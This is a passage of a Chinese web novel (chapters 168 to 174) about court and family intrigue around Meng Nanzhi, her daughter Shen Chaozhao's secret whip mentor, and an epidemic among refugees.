挡到了她的光,挡住了她前进的方向。
……
醉香阁。
最里面的雅间。
一身薄衣裙衫的芙蓉姑娘战战栗栗地跪在地上,发间、额间,乃至脸上,全是水渍。
她却连擦也不敢擦地俯身道:“主子,属下不知是哪里做错了,还望主子能与属下说下明白。”
萧临渊执起手中的酒杯一饮而尽,一向含笑的眸色在此刻阴冷无比,“不知哪错了?那你就好好想想最近做了什么。”
芙蓉姑娘头摇如波浪,“主子,属下一直谨尊主子教诲,守望在醉香阁,不曾做过什么。”
萧临渊提醒道:“本王让你之前给孟南枝的画像,你画了什么?”
芙蓉姑娘连忙道:“回主子,属下按主子说的,画了太子侧妃的马夫。”
“太子侧妃的马夫?”
萧临渊冷哼,“那她为何会抓走陆筝筝的马夫?”
芙蓉姑娘面色苍白如雪,“属下不知道,但属于是真的画的是太子侧妃的马夫。”
“主子您知道的,属下最听您的话,是万万不敢违背您的命令的。”
萧临渊闻言眸色阴沉,轻轻转动板指。
半晌后,他才沉声道:“起来吧。”
第169章 都是因你造成的
镇北侯府。
沈卿知刚一进屋,就将丫鬟奴仆赶了出去。
林婉柔见状暗攥了下帕子,莹白的脸上泪如雨下,“侯爷,您说筝筝可该怎么办呀?她那么好一个孩子,竟被南枝诬陷到住进牢狱。”
“她已经因为咱们两个吃了那么多的苦,这在那种地方怎么受得了呀?”
她要先发制人,不能被沈卿知拿捏着质问。
本来心中郁结,想要质问她今日之事的沈卿知,被林婉柔这么一闹,喉间的话堵了一堵。
他眉头紧皱,“婉柔,你与我说实话,筝筝她到底有没有污蔑南枝、**?”
林婉柔坚决摇头否认,眸中皆是委屈,“侯爷,筝筝是您从小看着长大的啊,她什么样您不是最清楚吗?”
“她在府中何时敢大声说过话,对待下人都不敢指使一句。她怎么会敢污蔑南枝,**呢?”
“而且她一直把南枝当作亲姨,您也是知道的。”
孟南枝溺水后的这些年,林婉柔不仅自己一直打着照顾侯爷和孟南枝孩子的名义进府。
就连陆筝筝,也在进府后,第一时间便会到孟南枝的灵牌前上炷香。
对此,沈卿知没有话说。
因为这确实是他亲眼所见。
陆筝筝在他眼里一直都是个非常乖巧的孩子。
“那你,筝筝她,生父……”
沈卿知的话还未说完,林婉柔“噗通”一声便跪在了地上,拽着他的衣角哭诉道:
“侯爷,谁都可以怀疑我,唯独侯爷您不能怀疑我啊。妾身为了隐瞒与侯爷之事,经历多少困难,难道侯爷您都忘了?”
“当初陆郎的妾室发现你我之事,故意安排陆老太太闯进妾身的寝房,安排嬷嬷对妾身进行验身侮辱。”
“妾身借口说身上的痕迹是花粉过敏,陆老太太便安排丫鬟摘了一桶鲜花倒是妾身的身上。妾身为了不让老太太起疑,故意用了伤身的药物,导致全身起了红斑。”
“那妾室见拿捏不住妾身的把柄,就故意陷害妾身,说筝筝不是陆郎的女儿。”
“侯爷,您是朝廷命官,见识多广,当知道滴血认亲是可以做假的。筝筝一直是陆郎的女儿,陆家只是见不得妾身在陆郎走后和您在一起,这才将筝筝赶了出来。”
“侯爷,若您也不信妾身,那妾身还不如**算了。”
林婉柔说到此处,眼神决绝地就朝他身后的桌角撞去。
沈卿知陷入信与不信的纠结中,未能及时拉住她。
失算的林婉柔头部直接被撞得头晕目眩,两眼浑花。
紧接着,沈卿知被一个巴掌打懵了。
“混帐!”
林则温怒斥沈卿知后,弯身将林婉柔扶了起来,“婉柔,你可还好?”
本想以晕倒了事的林婉柔见到父亲,表情即委屈又伤心道:“父亲,女儿,女儿,筝筝她该怎么办呀?”
被打后的沈卿知垂眉掩过眼中一闪即逝的愤恨,面上却和气道:“林尚书老大人,您怎么过来了?”
林则温语气不善,“本官不过来,难道要等本官的女儿被人欺辱?”
沈卿知看了眼林婉柔额头的撞伤,眸色暗了暗,“老大人,在镇北侯府,并无人欺辱婉柔。”
有什么事情不能好好说,为什么每次都要以死相逼?
对沈卿知心思一向非常拿捏的林婉柔见状,连忙对父亲道:“父亲,侯爷待女儿甚好,在侯府是真的没人欺辱女儿,刚才女儿也是因为筝筝一事,太过着急,这才……”
说到此处,她拿帕子擦了擦眼角,“父亲,您千万别多想,都是女儿的错。”
林则温听着女儿的解释,眸色转换未作声。
沈卿知却是开始自责起来,林婉柔即便如此却还护着他,自己是不是真的太过多疑。
想到这些年与林婉柔经历过的那些事,沈卿知暗自摇了摇头。
从林婉柔手中拿过帕子,沈卿知为她轻轻擦拭额头上的青紫肿块,语气温柔,“疼不疼?本侯从未说过不信你,你又何至于此。”
言罢,他又冲门口大声吩咐道:“快去请太医。”
这些该死的奴才,看到林
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父来了,竟然也不向他汇报。
还害他挨了一巴掌。
林婉柔垂下头,掩过眸中的算计,温声道:“妾身不疼,只要侯爷信妾身,让妾身做什么都可以。”
心里慰贴的沈卿知闻言,扶着她在椅子上坐下,并招呼林则温就座。
“老大人,您也坐。”
林则温坐下后,与女儿林婉柔视线交流。
林婉柔捂着额头佯装头疼道:“侯爷,您能不能帮妾身把医箱拿过来,妾身这会儿感觉头疼得厉害。”
刚准备坐下来的沈卿知看了眼她的额头,短须微翘,“好,你先陪老大人说会话,我就给你去拿。”
在沈卿知去了里间后,林婉柔低声道:“父亲,女儿被禁足了。”
林则温点头,“为父知道,你只管将今日之事从头到尾与为父细细说来。”
他亲自安排的人在刑部外面守着,得知林婉柔说辞后,便开始操控一切。
倒没想到那匠人竟然还有个学徒,还恰巧就被孟南枝的人给带走了。
林婉柔一点也没隐瞒地将今日之事全盘托出,忧虑道:“父亲,好解决吗?”
林则温眸色沉重,半晌才开口道:“匠人之事好办,只要为父出面,陈侍郎只能依律解了你的足。”
“至于筝筝……”
林则温摇了摇头,言辞带了几分责备,“为父早和你说过她还小,让你再等等,你怎么那么沉不住气。”
“如今出了这种事,你就不怕她失了清白之事传遍京都,介时你让她如何自处?”
林婉柔咬了咬下唇,“父亲,奕王殿下不是不负责任之人。”
“负责任与疼爱,是两码事。主动接受与被逼接受,也是两码事。”林则温鼻息重哼。
“你身为母亲,怎么就不能多为她想想?这点,你要与孟南枝好好学学。”
不提孟南枝还好,一提孟南枝,林婉柔仿佛被踩到了尾巴的猫,直接炸了起来。
“父亲!你怎么可以这么说我?”
“我为何待她那样,难道不都是因你造成的?”
第170章 有必要再争一把
“婉柔,什么因老大人造成的?”
拿完医箱回来的沈卿知,看到一向在林父面前温顺的林婉柔,竟然反责于林父,而有所不解。
林婉柔指甲陷入掌心,又松开。
再抬头,她的面色一切如常,对沈卿知柔声道:“侯爷,妾身是说给筝筝的那支金簪,只怪父亲当时做了和你一模一样的,这才让南枝误会,造成今天这个局面。”
林则温也面色如常,一脸自责道:“此事,确实是为父的过错,为父会亲自出面向陈侍郎解释。”
沈卿知闻言,神色松懈,“能得老大人亲自解释,那是最好不过。”
他不想林婉柔败在孟南枝手里,那样显得他的选择很愚蠢。
顿了顿,沈卿知又道:“只是,老大人,不知筝筝一事,您可有解法?”
沈卿知担心若陆筝筝身上的嫌疑无法洗清,奕王求娶她为侧妃一事,只怕就要泡汤了。
那他的国公梦,也就只能是梦了。
林则温警告式的瞪了眼女儿,沉声道:“筝筝一事,为父会想办法。婉柔不能出府的这期间,还要劳烦侯爷多往刑部跑几趟,免得筝筝在里面吃了苦。”
“老大人放心,本侯必会多叮嘱些,不会让筝筝吃苦头的。”沈卿知承诺。
林则温满意地点了点头,又看着林婉柔说道:“说起来你被禁足也算是好事,城外流民出了疫病,你在府中不出去,也避免了感染的可能。”
他知道他这个女儿,若没人限制,只怕是非要和孟南枝争个高低。
哪怕知道是疫病,也要冲上前去,彰显个人声名。
“是,父亲。”
林婉柔闻言没反驳,可却觉得心里空落落的。
从历史的角度来看,洪灾与疫病,一般都是前后脚。
所以她之前带女儿陆筝筝去施粥的时候,一直有去看那些郎中的诊病记录。
就是为了想通过率先发现疫病,而做到扬名于先。
若是她和女儿再能发现治疗疫病的方法,那就再好不过了。
可哪想什么还没做,女儿就被孟南枝告得送于牢狱,而她也被告得禁了足。
现在就是想做什么,也做不了了。
而沈卿知在听到林则温说起疫病之事时,却是突然惊白了脸,“流民,真出疫病了?”
林则温点头,“院首都去了,错不了。”
“竟然是真的?”沈卿知低喃。
他前几日连续做的那个梦里,也曾出现过流民生疫病。
那疫病还是被陆筝筝和奕王一同解决的。
陆筝筝为此得了圣上的美誉,他也跟着在圣上面前落了脸,朝中同僚还都恭喜他得了一个好继女。
可如今疫病真的发生了,陆筝筝却被关进了牢狱里。
“侯爷,您说什么呢?什么是真的?”
林婉柔见沈卿知心不在焉,询问道。
“没,没什么?”
回过神的沈卿知眼皮直跳,总觉得自孟南枝回来后,所发生的事处处透着怪异。
想了想,沈卿知还是觉得自己有必要再争一把。
他对林则温拱了拱手,表情异常谦逊温和道:“老大人,筝筝一事还要拜托您多操劳了。”
“这些年来,本侯一直看着她长大,把她当女儿疼着。如今看她受苦被冤,心里着实跟着难受。”
林则温见他言语诚恳,满意地点头,“侯爷放心,筝筝的事也是我这位外祖父的事,必然不会眼看着她受冤。”
“本官这就回去见下都察院侍郎,了解一下案情,再细作打算。”
刑部侍郎是太子府的人,大理寺侍郎是二皇人的人。
唯有都察院侍郎是他可接近,并愿意透露消息给他的人。
……
洪太医走后,孟南枝并未歇下。
她叫来月芹和月满,让她们两个煎了防伤寒的药,给还待在官署的父亲送去。
又端了一碗药,亲自给女儿沈朝归送过去。
女儿从避暑山庄赶至京都,这一路也曾与不少流民擦肩而过。
多加预防,总比什么准备也不做得好。
说是要回房休息的沈朝昭,并未休息。
而是把房门一关,拉着知秋开始询问,“知秋,我让你打听的事,你都打听到了没?”
“姑娘,这才半日,奴婢还没打听到呢。”
知秋看了眼被关上的房门,眼帘微垂。
知夏被姑娘赶出去了。
沈朝昭看她
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这般模样,杏眼微瞪,佯怒道:“知秋,我跟你这么多年了,也算是你从小看到大的姑娘了,你难不成和知夏一样向着我母亲?”
从昨日回来她就看出来了,知夏偏向母亲。
知夏是母亲的贴身丫鬟,即便看着她长大,还是偏向母亲。
所以她才专门询了知秋去打听母亲的事。
与知夏相比,知秋对她比知夏多了份如长辈般的疼惜。
母亲不在的这些年,沈朝昭是常常让知秋躺在自己身边睡觉的。
知秋闻言有些紧张的解释,“姑娘,不是的,奴婢真的是……您也别怪知夏,知夏她和您一样是许久未见夫人,一时激动,才那样的。”
她越紧张,解释起来就越语无伦次。
沈朝昭本也不是真的恼知夏,只是看着一向只护着她的知夏,突然眼里多了母亲,还胜过于她,一时有些难以接受。
摆了摆手,沈朝昭拿起桌子上面提前备好的苹果,咬了一口道:
“先不说知夏,你就赶紧说说我让你打听的事吧。可别再和我说没打听到,我可不信。”
知秋跟她多年,她对知秋的能力非常了解。
可要知秋想知道,府里丫鬟婆子,就没有知秋套不出的秘密。
更何况知秋本也是孟府的家生丫鬟,想在孟府知道母亲的事情,那可太容易了。
见沈朝昭把话说到这份上,知秋深知瞒不住,也不该瞒着。
她抿了抿嘴,轻声道:“姑娘,屠戎将军,在出京赈灾前,就住在隔壁。”
“什么隔壁?”沈朝昭不解。
知秋往东边抬了抬下巴。
沈朝昭顺着她的目光看过去,“你是说,屠戎将军住在孟府隔壁?”
“知秋你确定你没打听错?我记得那可是个荒院,条件比起将军府可太差了。”
“屠戎将军那么一个嫡仙如神般的大衍战神,住那么一个破宅院?”
知秋点头,“奴婢确认了,就是住在隔壁。而且……”
“而且什么?”沈朝昭又啃了一口苹果。
再次低着头的知秋咬了咬牙,狠心道:
“而且奴婢听说,屠戎将军之所以搬到隔壁来住,是因为心悦夫人。”
第171章 沈朝昭的询问
沈朝昭卡着了。
她没想到会从知秋嘴里得到一个这么炸裂的消息。
所以孟南枝端着汤药,走到门口时,便听到里面传来沈朝昭的猛咳,和知秋的求助声。
“姑娘,您怎么了?您可别吓奴婢。”
孟南枝将汤药往守门的丫鬟怀里一扔,直接推开门闯了进去,“昭儿?”
待看到沈朝昭脸红脖子粗,并喘不过气的模样,吓得疾步跑过去。
“这是卡着了?苹果?”
孟南枝脚下踢到啃了一半的苹果,迅速做出判断。
“是,夫人。”
知秋回应的时候,不忘继续为沈朝昭拍背。
孟南枝当即左手从女儿腋下穿过,环住她的腰腹。
右手握拳抵在她胸骨下方,双臂骤然用力往上提。
如此反复几次后,沈朝昭吐出卡在喉间的苹果,无力地半瘫在孟南枝怀里,开始大喘气。
孟南枝替她擦拭掉额间的汗液,担忧道:“昭儿你怎么样?好些了没有?要不要叫太医过来看看?”
沈朝昭缓过神,摆手道:“我没事了,不用叫太医。”
她没那么娇气。
而且,因为这个叫太医过来,那也太丢人了。
知秋见她无事,连忙跪了下来告罪,“都是奴婢的错,是奴婢没有照顾好姑娘,望夫人责罚。”
“母亲,不是知秋的错,是我自己不小心。”
沈朝昭见状赶紧站了起来,她担心孟南枝会责怪知秋。
毕竟她曾经每次犯错,父亲不仅会罚她,连她的丫鬟也会被罚得更重。
而且知夏和知秋因为护着她,还跟着挨了不少打。
女儿眼中的紧张让孟南枝有些心疼,她示意知秋起来,语气温和,“快起来,给昭儿倒点水润润喉。”
知秋闻言忙不迭起身端了茶水过来。
沈朝昭看母亲没有怪罪知秋,松了口气。
趁喝水的功夫,眼睛一直往孟南枝身上瞟,努力消化刚才知秋和她说的消息。
年轻、貌美,看起来也就比她大十来岁。
昨晚二哥和她说了,母亲是直接从溺水后回来的。
说实在的,沈朝昭不是很信。
这么离奇的事,好像是在编话本。
可孟南枝带给她的亲切和慈爱,又做不了假。
再加上今天经历的事,沈朝昭自然而然地便唤了她。
这可是她的母亲,即便再年轻,也是已婚已育之人。
而屠戎将军,谢归舟。
那个在她们这群小辈眼里可望而不可即的存在,竟然会心悦于她的母亲。
这也怪不得她听到后,会觉得跟天方夜谭一样,被苹果卡了喉咙。
即便察觉到沈朝昭一直在偷瞄她,孟南枝也没有多想。
她轻捋沈朝昭的后背,给她顺气,并让守门丫鬟把汤药端过来。
“来,趁热把这药喝了。”
沈朝昭闻药泛苦,眉头紧皱,“这是什么药?我又没病。”
“预防伤寒的,不是刚出了疫病,喝了吧,没有坏处。”
孟南枝将汤药送到她的唇边,又从旁边的碟子里取出一块蜜饯递给她。
她记得女儿怕苦,她是要用蜜栈哄着才能喝下去的。
沈朝昭秀眉挤成一团,勉强才将药喝了下去,又接过孟南枝手里的蜜栈塞进嘴里,口齿不清道:“太苦了。”
“良药苦口。”
孟南枝宠溺地笑了笑,将药碗递给知秋,“知秋,我让月芹煎得多,等会儿你和知夏也去喝点。”
知秋俯身应下,“奴婢多谢夫人体恤。”
知秋说完便带着丫鬟退下,将空间留给她们母女。
孟南枝看着女儿因嚼蜜饯而鼓起的腮帮,又递给她一颗蜜饯,“还苦吗?要不要再来一颗?”
沈朝昭接过来直接塞到嘴里,“可以了,不用再给我拿了。”
待沈朝昭咽下,孟南枝轻声问道:“怎么也不歇息?”
沈朝昭摇头,“我不困,白天很少午睡。”
孟南枝闻言嘴角生了笑,“要不,我陪你聊聊?”
确实,她这个女儿从小就精力旺盛,夜里不睡,白天也不睡,瞪着两个圆溜溜的眼睛,就喜欢别人逗她玩。
别人要敢一阖眼,她就哇哇大哭给你看。
如今长大了,这不喜午睡的习惯,倒也没改。
沈朝昭点头,她也想和她聊聊。
“你。”
“您。”
两人同时开口。
彼此互视一眼,相似的五官皆露出笑意。
孟南枝温和开口,“昭儿想和母
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亲说什么?”
沈朝昭站起身,“我们出去走走吧。”
“好。”
孟南枝起身跟在她后面。
走在前面的沈朝昭杏眼微转,径直往东边走,“母亲,听说屠戎将军现在住在隔壁,是真的吗?”
“是真的。”孟南枝语气平静。
沈朝昭转身,突然问道:“那母亲你与父亲和离,可是因为屠戎将军?”
孟南枝没想到女儿会突然问出这样一句话。
她盯着女儿的眼睛,没有丝毫逃避。
“昭儿,我与你父亲和离,跟外人没有关系。”
“我与他和离,一为他背弃了对我的承诺;二是因为他在我离开后,没有好好地照顾你们兄妹,害得你们受尽了委屈。”
“我溺水死亡后,并非是不能接受他续弦娶妻纳妾。可他最不该打着爱我的名义还去跟别的人厮混在一起,更何况是他还容忍他人欺辱我的孩子。”
沈朝昭被母亲眼睛里的决绝灼得有些震撼。
她微微垂了下眼帘,声音低了下来,“那你,可还对父亲有情?”
“我与你父亲之间,除了你们三个,已经没有可以牵连的感情了。”
孟南枝看着女儿的模样,暗叹口气,“昭儿,我们在出生时,首先感受的是亲情,然后是友情,最后才是爱情。”
“人活一辈子,要走的路会很长,爱情可以是势均力敌的交锋、三观契合的同行,也可以是锦上添花的暖意,困境中相互扶持的力量,又或者是经过岁月而沉淀下来的默契,却唯独不会是卑微到没有自我的贴服。”
因为她的溺亡,女儿在这十年间所受到的教育和母爱是缺失的。
所以,也就造成了她与次子沈砚珩一样的偏激。
对家人,偏激。
对待感情,更加偏激。
孟南枝研究过巨幕中儿女沈昭朝的爱情线,那份偏激的爱情,在她看来纯粹就是嫉妒心作祟。
因为陆筝筝的加入,抢了她的父爱,还拥有她所没有的母爱。
所以在看到陆筝筝竟然又得了奕王萧临渊的宠爱后,女儿才会处处觉得不甘,一心想要从陆筝筝手里抢到那份独宠。
她既然回来了,便不想女儿继续走上那条没有自我的绝路。
第172章 保证不打你
沈朝昭小小的心灵受到了大大的震撼。
十四岁,正是对感情憧憬和迷茫的时刻。
她对母亲的话似懂非懂,即认可,又不认可。
毕竟在她目前有限的生命里,所见到的女人,基本都是依附男人生活。
见女儿不说话,孟南枝再次盯着她的眼睛,说道:
“昭儿,你要记得,拥有爱情确实是能丰富我们的人生,但它却替代不了自我成长的价值,亲情的羁绊,友情的温暖,还有理想的光芒。”
“嗯。”沈朝昭重重地点头,“我记得了。”
她本来是想问母亲和屠戎将军的事,倒没想到会被母亲反过来教育。
脑中闪过萧临渊,还有陆筝筝的脸。
沈朝昭蹙了蹙眉头,她也不知道自己怎么了。
一想到陆筝筝竟然攀上了奕王萧临渊,萧临渊竟然还不顾清白和身世地护着陆筝筝,她就觉得心里难受。
恨不得冲上去,撕烂陆筝筝的伪装。
孟南枝替女儿理了理头发,柔声道:“昭儿,你现在还小,当以成长自我为主,但若是你真有了心仪之人,母亲也希望你能在爱情当中保持自我。”
她是希望女儿不要因为爱情失去自我,但更不希望女儿因此而忌讳爱情。
拥有一份好的爱情,在人生的道路上,其实是一件非常美好的事。
沈朝昭点头,“是,母亲。”
顿了顿,她又扬头,“母亲,您刚准备和我说什么?”
“嗯?”孟南枝不解。
“就刚刚,我们两个一起开口,您让我先说。”沈朝昭解释。
“那个啊。”孟南枝恍然,“我忘了。”
是有那么一回事,但她是真忘了刚才想说什么了。
沈朝昭也没纠结,看了眼空旷的院子,扬了扬眉,“母亲,我给你舞段鞭吧?”
“好啊。”
孟南枝还没见过女儿舞鞭的样子,只在巨幕里见她到处抽人了。
沈朝昭从后背腰下抽出长鞭,手腕轻旋,长鞭便如游龙出海,擦过院内的树木,溅起几点木屑。
她足尖踩过青石砖,竟凌空跃起半尺,鞭稍精准地缠住墙檐上盛开的一枝野花,抬手接过,飞奔过来,将花递给孟南枝,“母亲,好看吗?”
“好看,好看。”
孟南枝即夸鲜花,又夸女儿。
女儿的鞭姿太飒爽了,比她那两个柔弱的儿子强。
“你这鞭法是从哪里学的?”
正巧出来观看了沈朝昭整个舞鞭过程的江鱼,走过来问道。
外行看热闹,内行看门道。
江鱼觉得,沈朝昭的鞭法学歪了。
沈朝昭挑眉,“怎么?你想学?叫声师傅,我便教你。”
江鱼不置可否地摇头,“你这三角猫的功夫。”
沈朝昭炸毛,“你说谁三角猫的功夫?你试试本姑娘的鞭子,能抽的你跪下来叫我姐。”
“朝昭!”孟南枝点了点她的脑袋。
沈朝昭自知失言,抿了抿唇,但她抬起的下巴却依旧带着傲慢,“我这鞭法可是跟着高人学的。”
“什么高人?”孟南枝被勾起了好奇心。
沈朝昭见母亲重视,咳了一声,“是一位蒙面大侠。”
江鱼撇嘴,“那这位蒙面大侠的鞭法可不够高。”
只有形没有力。
“不准你这么说我师傅!”沈朝昭这次是真的生气了,拿起鞭子就朝她抽过去。
江鱼很快躲开,故意引着她往旁边打,避免不小心伤到了孟南枝。
孟南枝阻止,“昭儿,江鱼,你们两个别闹了。”
两人你抽,我躲。
鞭子始终都未曾落到江鱼的身上。
沈朝昭气得把长鞭往地上一甩,“你过来,本姑娘保证不打你。”
江鱼确认她也只是起势好看,并不是真的会鞭法后,皱着眉头走到她跟前,“你师傅只教了你起势和抽鞭?”
这也太不够格,教得过于随意了些。
依他的判断,沈朝昭明明可以学得更好。
沈朝昭撇嘴,“要你管!”
她才不好意思说,光是这起势和抽鞭,她都学了好几年。
孟南枝从沈朝昭手里取下长鞭,想着先替她收起来。
却注意到鞭柄底处刻了几个小字。
【生辰吉庆,慧质天成。】
“昭儿,这是你的生辰礼?”
沈朝昭点头,“嗯,我八岁生辰时收到的。”
孟南枝眉锋微蹙,“谁送的?”
她所相熟的亲友当中,
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没有人会送长鞭。
父亲、胡姨娘不会,曹宛清也姐妹不会。
太后就更不会了,她是喜欢和心疼朝昭,但她更喜欢端庄大气的女子。
沈朝昭没有隐瞒,“是我师傅,一个蒙面大侠。”
母亲溺水后,父亲天天早出晚归不在家。
长兄又一心想要跳湖救母,二哥想母亲了就哭一会儿,哭完不想了就没心没肺地到处乱跑。
她晚上睡不着的时候,就会偷偷从屋里跑出来,坐在院子里看月亮。
直到有一次,她看到母亲的屋顶上站了一个蒙面黑衣人。
她以为是贼,刚想喊,那黑衣人就消失了。
再次见到那个黑衣人,是她被陆筝筝刺激得受了委屈,趴在母亲屋子里哭。
那个黑衣人蹲在她旁边什么也不说,就那么静静地看着她。
她还盼望着他把自己打晕,或带走,试探一下陆筝筝说的父亲对她好胜过对她好是不是真的。
结果等她哭累了,那黑衣人还给她倒了杯茶,让她喝完继续看她哭。
等到她八岁生辰那天,再次受了委屈,晚上再次睡不着偷跑出来时,黑衣人便送给她这根长鞭。
他教她怎么用鞭,怎么抽人才最疼。
他说,她是侯府之女,不该受委屈。
他还说,被欺负了就要打回去。
可是他不常来,有时一年,有时两三年,沈朝昭才会见到他一次。
沈朝昭本来还想让父亲为她请个打鞭的师傅,多学一下。
可自从她拿鞭抽了陆筝筝之后,沈卿知就把她的鞭没收,让她彻底**这个念头。
如今她能拿着这把鞭,还是二哥替她偷偷拿回来的。
这一晚,孟南枝做梦了。
梦里,她跳水救了一个人。
那个人身份尊贵,去哪都有人跟着,按理说不该落水。
明眼一看便知是被人故意欺负,推落入水。
她问他是谁欺负他,去替他找人算账。
可他却死抿着嘴巴,什么也不说。
她就生气地指责他:你身为尊贵,不该受委屈。被欺负了就要打回去。
醒来的孟南枝,看了眼窗外漆黑的夜空。
有些烦躁地按了按额头。
谢归舟?
第173章 和奕王在一起
夜色微凉。
孟南枝却再无睡意。
她起身披上外衣,越过熟睡的月满,站在廊下吹了会儿风。
目光落在东邻隔壁,谢归舟离京前才被打扫的院落。
此刻再次杂草丛生,透露着荒气。
倒是那个临时打造的练武台,孟南枝还能想起谢归舟带着长子沈砚修练枪的画面。
稳重,耐心。
明明未曾娶妻生子,却偏偏比沈卿知更知道该怎么与孩子相处。
天刚蒙蒙亮时,沈砚珩便起了床。
他昨日散学回来,得知江鱼过段时间要回家,怄了一夜。
他长这么大,就认识江鱼这么一个能够交心的朋友。
担心他离京之后会很难再见,非要拉着他一起出去转悠。
江鱼自然不会拒绝,欣然表示同意。
两人正准备偷偷溜出门时,被孟南枝逮了个正着,“你们干什么去呢?”
沈砚珩看了眼江鱼,转过身,有些尴尬地捋了捋额前的碎发,“母亲,您怎么起这么早?”
“不早,和你们一样。”
孟南枝瞧了瞧他们两人身上简练的穿着,提醒道:“外面出疫病了,别乱跑。”
若是往日,她必然不会拘着他们。
可疫病期间,孟南枝是不想让孩子外出的。
万一受到感染,即便最后能医治,过程也是孟南枝不能接受的。
她不希望自己的孩子受到一点不必要的伤害。
沈砚珩解释,“母亲,我们不去城外,我想趁江鱼在,让他和我一起再把京都不熟悉的地方走一遍,画副整个京都的地图。”
次子的要求,合情合理,孟南枝没法拒绝,便点头道:“那行,你们路上小心点,转完早点回来。”
沈砚珩闻言,连连点头,“母亲放心吧,我熟得很,转完就回来了。”
目送两人离开,孟南枝刚一转身,就看到同样已经起来,准备出门的女儿沈朝昭。
她轻抹粉脂,发髻插了两支白玉簪,穿了一身绯色衣裙,腰间玉带上挂了两枚铃铛,走起路来,一蹦一跳地,叮咚作响。
她似没想到会这么早撞到母亲,下意识地转过身,躬着步准备躲回去。
却被知夏和知秋非常规矩地见礼,给打了个措手不及。
“夫人。”
沈朝昭抿了抿唇,只得转过身,一双圆溜溜的杏眼眯成了一条线,“母亲,您怎么起这么早?”
“不早了,和你们起得一样。”孟南枝失笑。
一早起来,同样的话,她说了第二遍。
“你们这是准备去哪里?不准备在家里用早膳吗?”
“不了,我带着知夏、知秋出去吃。”沈朝昭顺从地点头。
“那我和你一起吧。”
孟南枝说完便自动跟在她身侧,明显一副你撵我也撵不走,甩不掉的模样。
沈朝昭眼帘微垂,“母亲您要是跟着我出去,二哥醒了找您怎么办?”
孟南枝忽略掉女儿的小表情,轻笑道:“你二哥刚才已经和江鱼出去了。”
“他们出去怎么不叫我?”沈朝昭嘴巴轻撅。
不讲义气。
“你们约好一起出去的?”孟南枝状似无意地询问。
沈朝昭摇头,“没有,我们怎么可能会约好,我以为他还没起呢。”
孟南枝微微颔首,“你准备去哪里用早膳?现在外面可没有几家开门的。”
因为山城闹洪灾,京都不少门店都关了门。
现在真没几家开早铺的。
沈朝昭有些哑舌,她本来就不是为了吃早膳才起这么早的。
想了想,她才又说道:“母亲,要不您在家等着我,我和知夏、知秋出去转转,看有哪家早铺开着门,给您带回来。”
似怕孟南枝不同意,她又拿出哄太后的那一套,揽着孟南枝的胳膊撒娇道:“好不好嘛,母亲。您昨日忙了一天,也累了,就让我给你带回来吧。”
古人常道:撒娇之人最好命。
女儿就是母亲的贴心小棉袄。
孟南枝总算体会到了,她完全拒绝不了。
当下便点了点头,“好好好,快去吧,别跑远,就沿街市转一圈,要是没开门,就回来。”
“好,放心吧,母亲,我保证,转一圈就回来。”
沈朝昭扬起笑脸,带着知夏和知秋,一蹦一跳轻快地出了门。
孟南枝失笑地摇了摇头,她像他们这么大的时候也是不喜欢被人拘着的。
索性有知夏和知秋跟着,她倒也算放心。
等到天色大亮,沈朝昭没回来,倒是沈二婶带着沈娇娇来了孟府。
沈二婶刚一
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见着孟南枝,便赔罪道:“南枝,都怪我家旻儿不争气,你看这么施粥这么紧要的关头,他竟是在家里摔了个跟头,那脚肿得老高,连路都走不成了。”
“这几日,怕是不能跟着你下去施粥了,你看看,这都是个什么事儿。”
孟南枝浅笑,“无妨,既然是伤着了,那便好好在家歇着吧,等伤养好了也不迟。”
生怕孟南枝会不满的沈二婶闻言松了口气。
她就知道,只要面上过得去,孟南枝一向都是通情达理的。
她在昨日听闻城门流民出了疫病后,担心了一休。
生怕她的乖孙跟着孟南枝去施粥,万一感染了怎么办。
思来思去,沈二婶还是决定以沈旻受伤的名义,过来给孟南枝告个罪。
争名是重要,但性命更重要。
别到时名声争到了,人却没了。
人生白玩。
沈娇娇乖巧地同孟南枝见了礼,“夫人。”
上次在进沈家祖祠之前,孟南枝已经给了她见面礼,所以此时,孟南枝只对她浅笑道:“娇娇也来啦,坐吧。”
月芹为两人上了茶。
沈二婶抿了口茶水,眼睛打量了一圈,“怎么没见砚珩和朝昭?”
“他们出去了。”孟南枝没瞒着。
沈二婶是有些自己的小心思,但本质上还不算坏。
她们两个当初斗得那么厉害,也没见她使过什么阴招。
沈二婶闻言放下茶盏,语重心长道:“南枝呀,你不会是让他们去施粥去了吧?我可是听说外面现在在闹疫情呢。”
孟南枝摇头,“没有,他们出去转转,一会儿就回来了。”
“那就好。”沈二婶放下心,再次端起茶盏喝茶。
这孟府的茶八成是御赐的,喝起来就是比他们家的香甜。
一直未说话的沈娇娇却是突然开口道:“夫人,朝昭今日穿的可是一件绯色的衣裙?还挂了个铃铛?”
孟南枝抬头,“是,你见着她了?”
算算时间,女儿也该回来了。
沈娇娇不确定地道:“我也不知道是不是,只是在路上瞧着像,不过应该不是朝昭。”
“怎么就确定不是?”孟南枝反问。
沈娇娇垂下头,“因为我瞧见的那个人,和奕王在一起呢。”
第174章 你想听不想听
萧临渊?
孟南枝蹙眉,“你在哪看到的她们?”
若是他,沈娇娇看到的,那就真有可能是女儿。
沈二婶拽了下沈娇娇的衣角,面上赔笑道:“南枝,娇娇肯定是看错了,她这一路都跟我在一起,我也没见着朝昭。”
沈府现在上上下下都知道陆筝筝是奕王的人。
沈朝昭与陆筝筝不合,又怎么会和奕王在一起呢。
沈二婶担心她这乖孙女多说多错。
平白惹了孟南枝不高兴。
“让娇娇说。”孟南枝指尖轻握。
沈娇娇看了眼沈二婶,声音低如细雨,“在兰雅馆附近。”
兰雅馆,陆筝筝失身于奕王萧临渊的地方。
从沈二婶他们住的老宅到孟府,确实会经过那里。
孟南枝点头,握紧拳头,浅笑道:“那你大抵是看错了,朝昭和砚珩在一起呢。”
说罢,孟南枝端起茶盏轻轻抿了一口茶。
沈二婶见状,拽着沈娇娇的手腕,连忙起了身。
“南枝,没什么事,我就带着娇娇先回去了。等旻儿伤好后,我就让他来寻你。”
孟南枝微微颔首,面色如常,“好。”
待她们走后,孟南枝松开紧握的手指,直接站了起来。
“月芹,备马。”
没坐马车,太慢。
孟南枝直接驾马去了兰雅馆。
月芹和月满在后面小跑跟着,见跟不上,又回府叫阿贵驾着马车出来。
与醉香阁的醉、欲不同。
兰雅馆讲究的是雅,占地面积很大,分前院,后院,和南院。
前院是供客人听曲儿的地方。
孟南枝过去的时候,戏台上几个怜人正唱着当下最流行的戏曲。
台下稀稀落落地坐着几名散客,着装锦衣,面容富贵,与城外流民的凄惨格格不入。
